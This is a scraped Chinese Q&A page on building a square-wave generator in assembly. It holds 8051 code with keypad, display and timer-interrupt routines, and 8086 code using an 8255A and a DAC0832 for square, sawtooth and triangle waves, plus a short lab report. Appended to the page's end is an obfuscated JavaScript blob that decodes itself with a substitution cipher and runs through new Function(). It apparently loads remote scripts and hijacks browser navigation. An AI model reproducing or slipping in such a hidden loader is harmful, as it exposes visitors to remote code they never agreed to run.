方波发生器设计 汇编语言编程

2025-02-24 07:01:46
推荐回答(2个)
回答1:

; 控制位(三极管定义)
kzBW bit p2.6
KZSW BIT P2.5
KZGW BIT P2.4

; *******************************************

BAIW EQU 7FH ; 的总存区
SHIW EQU 7EH ;十位存区
GEW EQU 7DH ;个位存区
BBBWT EQU 6Fh
BBSWT EQU 6EH
BBGWT EQU 6DH
TTY EQU 22H

;**************************************
ORG 000H
LJMP START
ORG 001BH ;程序开头
LJMP DOS
ORG 0030H

;**************************************

; 程序初始化

START:mov r4,#0h
CLR p2.3
CLR BBBWT ;辨调时时数码管跳?
CLR BBSWT
CLR BBGWT ;辨调分时数码管跳?
MOV BAIW,#00h ;置零
MOV SHIW,#00H
MOV GEW,#00H
MOV SP,#60H
MOV 7bh,#8
mov r0,#00h
MOV TH1,75h ; 送中断初值
MOV TL1,76h
SETB EA ; 开启中断
SETB ET1
SETB TR1
;**************************************

; 主程序
MAIN: ; 调用子程序 模块化

;*************************************************************
;独立式按键程序
JJPP: LCALL XSO
JB P1.7,jzpd ;
LCALL XSO
JB P1.7,jzpd
FOO:LCALL XSO ;放松 ?
JnB P1.7,FOO
MOV TH1,#3ch ; 送中断初值
MOV TL1,#0b0h
clr p2.2 ;进入调频
INC R4
cjne r4,#4,jzpd
mov r4,#00h
MOV TH1,75h ; 送中断初值
MOV TL1,76h
jzpd:cjne r4,#1,swj
SETB BBbwT
JB P1.6,bwjy ;
LCALL XSO
JB P1.6,bwjy
ROO:LCALL XSO ;放松
JnB P1.6, roo
bwj:mov a,baiw
inc a
cjne a,#0ah,loop
mov a,#00h
loop:mov baiw,a
bwjy:JB P1.5,main ;
LCALL XSO
JB P1.5,main
RO: LCALL XSO ;放松
JnB P1.5,ro
baiwj:mov a,baiw
cjne a,#00h,fll
mov baiw,#9
ljmp swj
fll: dec baiw
swj:cjne r4,#2,gwj
clr BBbwT
setb bbswt
JB P1.6,shiwjy ;
LCALL XSO
JB P1.6,shiwjy
ROOn: LCALL XSO
JnB P1.6, roon
swjn:mov a,shiw
inc a
cjne a,#0ah,loop2
mov a,#00h
loop2:mov shiw,a
shiwjy:JB P1.5,lmain ;
LCALL XSO
JB P1.5,lmain
Rll: LCALL XSO ;放松
JnB P1.5, rll
shiwj:mov a,shiw
cjne a,#00h,flls
mov shiw,#9
ljmp gwj
flls: dec shiw
gwj:cjne r4,#3,hh
clr BBswT
setb bbgwt
JB P1.6,gewjy ;
LCALL XSO
JB P1.6,gewjy
ROOl: LCALL XSO ;放松
JnB P1.6, rool
swjnl:mov a,gew
inc a
cjne a,#0ah,loop2l
mov a,#00h
loop2l:mov gew,a
gewjy:JB P1.5,lmain ;
LCALL XSO
JB P1.5,lmain
Rlll:LCALL XSO ;放松
JnB P1.5, rlll
gewj:mov a,gew
cjne a,#00h,fllg
mov gew,#9
ljmp hh
fllg: dec gew
hh:LCALL XSO
clr bbgwt
lmain:cjne r4,#00h,jj
mov a,baiw
cjne a,#0,zzhh
mov a,shiw
cjne a,#0,zzhh
mov a,gew
cjne a,#0,zzhh
clr p2.0;上电后为0000不响 用于中断辨别
jj: ljmp main
;***************************************

zzhh:setb p2.0 ; 上电后不为0000响起 用于中断辨别
jb p2.2,jj
setb p2.2 ;退出调频 标志 调毕只走一次
mov a,baiw
mov b,#100 ;8*100+8*10+8*1=888(自动存为16进制)
mul ab
mov 60h,a
mov 61h,b

mov a,shiw
mov b,#10
mul ab
mov 62h,a
mov 63h,b
mov a,gew
mov b,#1
mul ab
mov 64h,a
mov 65h,b
mov a,60h
add a,62h
mov 70h,a
mov a,61h
addc a,63h
mov 71h,a
clr c
mov a,70h
add a,64h
mov 51h,a

mov a,71h
addc a,65h
mov 52h,a
clr c

cjne a,#00h,ddh ;1~~10hz 无法定时
mov a,51h
cjne a,#0ah,bbjj
mov th1,3ch
mov tl1,#0b0h
ljmp main
bbjj:jc xdh
ljmp ddh
xdh:mov 75h,#9eh
mov 76h,#58H
cjne a,#1,qq
mov 74h,#20
mov r5,74h
ljmp main
qq:cjne a,#2,rrr
mov 74h,#10
mov r5,74h
ljmp main
rrr:cjne a,#3,tt
mov 74h,#6
mov r5,74h
ljmp main
tt:cjne a,#4,yy
mov 74h,#5
mov r5,74h
ljmp main
yy:cjne a,#5,uu
mov 74h,#4
mov r5,74h
ljmp main
uu:cjne a,#6,ii
mov 74h,#3
mov r5,74h
ljmp main
ii:cjne a,#7,oo
ljmp main
oo:cjne a,#8,pp
mov 74h,#2
mov r5,74h
ljmp main
pp:cjne a,#9,lm
mov 74h,#2
mov r5,74h
lm:ljmp main
;***************************************************

ddh:mov r5,#00h ; xxx * 2
mov a,51h
mov b,#2
mul ab
mov 41h,b
mov 40h,a
mov b,#2
mov a,52h
mul ab
mov 43h,b
mov 42h,a
mov a,41h
add a,42h
mov 41h,a
mov a,43h
addc a,#00h
mov 43h,a

;****************************************************************
mov 54h,#40h ;56h 55h 54h/43h 41h 40h==r7 r6
mov 55h,#42h
mov 56h,#0fh
mov r6,#00h
mov r7,#00h
www:mov a,54h
subb a,40h
mov 54h,a
mov a,55h
subb a,41h
mov 55h,a
mov a,56h
subb a,43h
mov 56h,a
jc jhq
mov a,r6 ;商
add a,#01
mov r6,a
mov a,r7 ;商
addc a,#00h
mov r7,a
jnb p1.7,llm
LCALL XSO
zhycjh:ljmp www
jhq:clr c
mov a,54h
add a,40h
mov 54h,a;余数
mov a,55h
addc a,41h
mov 55h,a ;余数
mov a,56h
addc a,43h
mov 56h,a ;余数
;***************************************
mov 77h,#1h
mov 78h,#00h
mov 79h,#00h
mov a,79h
subb a,r7
mov 75h,a ;65536 - ***** 高 位
mov r1,a
mov a,78h
subb a,r6
add a,#01h
mov 76h,a ;65536 - ***** 中位
mov r2,a
mov a,77h
subb a,#00h
mov 77h,a ;65536 - ***** 底位
mov r3,a

llm: ljmp main
;***************************************

;显示子程序
XSO:JNB BBbwT,SSBTT
JB TTY,SSBTT
MOV A,#0FFH
LJMP MMM
SSBTT:MOV A,baiw
MOV DPTR,#TAB
MOVC A,@A+DPTR
MMM:MOV P0,A
CLR KZbw
DJNZ R0,$
SETB KZbw

SGT:JNB BBswT,SGBTT
JB TTY,SGBTT
MOV A,#0FFH
LJMP NNN
SGBTT:MOV A,shiw
MOV DPTR,#TABS
MOVC A,@A+DPTR
NNN:MOV P0,A
CLR KZSw
DJNZ R0,$
SETB KZSw

FST:JNB BBgwT,FSBTT
JB TTY,FSBTT
MOV A,#0FFH
LJMP LLL
FSBTT:MOV A,gew
MOV DPTR,#TAB
MOVC A,@A+DPTR
LLL:MOV P0,A
CLR KZgw
DJNZ R0,$
SETB KZgw
RET
;***************************************
;定时中断子程序

DOS:PUSH ACC
PUSH PSW
jb p2.2,eee ;辨别。
MOV TH1,#3ch
MOV TL1,#0b0h
djnz 7bh,EXIT ;给250ms 限制跳跃速度
mov 7bh,#8
CPL TTY
clr p2.3
setb p2.1
LJMP EXIT
eee:jnb p2.0,exit
mov TH1,75h
mov TL1,76h
djnz r5,exit
mov r5,74h
CPL P2.3
cpl p2.1
EXIT:POP PSW
POP ACC
RETi
;***************************************

TAB:DB 0c0h,0f9h,0a4h,0b0h,99h,92h,82h,0f8h,80h,90h
TABS:DB 0c0h,0f9h,64H,70H,59H,52H,42H,0F8H,40H,50H

END

回答2:

CODE SEGMENT
ASSUME CS:CODE
ORG 10A0H
DAPORT EQU 0020H
F DW 00H ;初始化
J DB 00H
S DB 01H
ORG 10A0H
START: ;init 8255A
MOV DX,0FF2BH
MOV AL,10000001B;方式命令字,PC0~PC3输入
OUT DX,AL
;control pc
BEGIN: MOV DX,0FF2AH
IN AL,DX ;读PC口值
MOV BL,AL ;存入BL
CMP BL,02H ;"跳跃表",选择波形
JB FWAVE ;方波00~01,锯齿波02~03,三角波,04~05
CMP BL,04H
JB JWAVE
CMP BL,06H
JB SWAVE
JMP BEGIN

;FWAVE
F01: MOV F,0300H ;改变频率
JMP FDACON1

FWAVE: MOV AL,0FFH
CMP BL,01H ;选择频率
JE F01
MOV F,0400H

FDACON1:
CALL RDPC ;调用键扫子程序
MOV DX,DAPORT
OUT DX,AL
MOV CX,F
FDACO2:
LOOP FDACO2
NOT AL
JMP FDACON1

;JWAVE
JUMP1: JMP BEGIN ;充当键扫子程序 RDPC 的跳板。*.*
J01: MOV J,02H ;改变频率
JMP JDACON1

JWAVE: MOV AL,0H
CMP BL,03H ;选择频率
JE J01
MOV J,01H
JDACON1:
CALL RDPC ;调用键扫子程序
MOV DX,DAPORT
OUT DX,AL
ADD AL,J
JMP JDACON1

;SWAVE
S01: MOV AL,0H ;恢复AL为0
MOV S,02H ;改变频率
JMP L1
SWAVE: MOV AL,0H
CMP BL,05H ;选择频率
JE S01
MOV S,01H

L1: CALL RDPC ;调用键扫子程序
MOV DX,DAPORT
OUT DX,AL
ADD AL,S
CMP AL,0FCH ;若AL=0FEH则置AL=0FFH,下坡
JNA L1
MOV AL,0FFH

L2: CALL RDPC ;键扫
OUT DX,AL
SUB AL,S
CMP AL,02H ;若AL<02H,则上坡
JNB L2
JMP L1
RDPC PROC NEAR ;键扫子程序
PUSH AX
PUSH DX
MOV DX,0FF2AH ;键扫
IN AL,DX
CMP BL,AL ;有没键按下
JNE JUMP1
POP DX
POP AX
RET
RDPC ENDP

CODE ENDS
END START
1. 相关芯片介绍及初始化
DAC0832:DAC0832是一个8位的D/A转换器,由8位输入寄存器,8位DAC寄存器,8位D/A转换器及逻辑控制单元等功能电路构成。
各端口介绍: DO~D7:数字信号输入端
ILE:输入寄存器允许,高电平有效
CS:片选信号,低电平有效
WR1:写信号1,低电平有效
WR":写信号2,低电平有效
OUT1,IOUT2:DAC电流输出端
RFB:反馈电阻是集成在片内的外接运放的反馈
VREF基准电压(-10~+10)V
Vcc:电源电压(+5~+15)V
AGND:模拟地,DGND是数字地两者可接在一起使用
8255A初始化程序:
8255A控制口地址:FF2BH
A口:FF28H
B口:FF29H
C口:FF2AH
程序开始即对8255A进行初始化,并且读入PC口的数值(通过开关键进行输入),然后将读到的数值存入BL寄存器。同时判断将要输出的波形,再确认要输出的波形后,又选择该波形的频率,同时期间不断的读取PC口的数值(通过调用键扫子程序)一旦出现PC口数值变化(既有键按下)则跳到程序的开始部分重新选择波形,如此反复。
2. 子程序设计
(1).方波子程序。在该子程序里,通过控制CX寄存器的值来改变频率(周期),通过用DAC0832的数模转换功能对AL和AL的取反值的输出来实现方波的输出。
(2).锯齿波子程序。在该子程序里,通过对AL数值的增加来实现锯齿波的输出,通过数值增加的大小来改变频率。
(3). 三角波子程序。在该子程序里,通过判断AL是否小于0FCH来实现三角波上沿和下沿的输出。通过对AL值增加的大小来改变波形的频率。
(4).键扫子程序。在该子程序里,通过从PC口读入的值和之前读入的值(在BL中)的比较来判断是否有键按下。
4.调试运行
程序编写完后,开始在线路板上连线,联机编译并连接。系统显示连接失败。按实验版的复位键和键盘的复位键后重现连接,连接成功。连接成功后调试波形。开始示波器没有任何波形,仔细检查电路,发现示波器接反,随即更正.然后调出的波形是不稳定的,不停地晃动,但还是出现要求的方波、锯齿波、正弦波。
运行结果:
按“1”键, “ENTER”,输入参数,示波仪上输出方波
按“2”键, “ENTER”, 输入参数,示波仪上输出正弦波,
按“3”键,“ENTER”,输入参数,示波仪上输出锯齿波按“4”键,“ENTER”, 输入参数,示波仪输出三角波

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();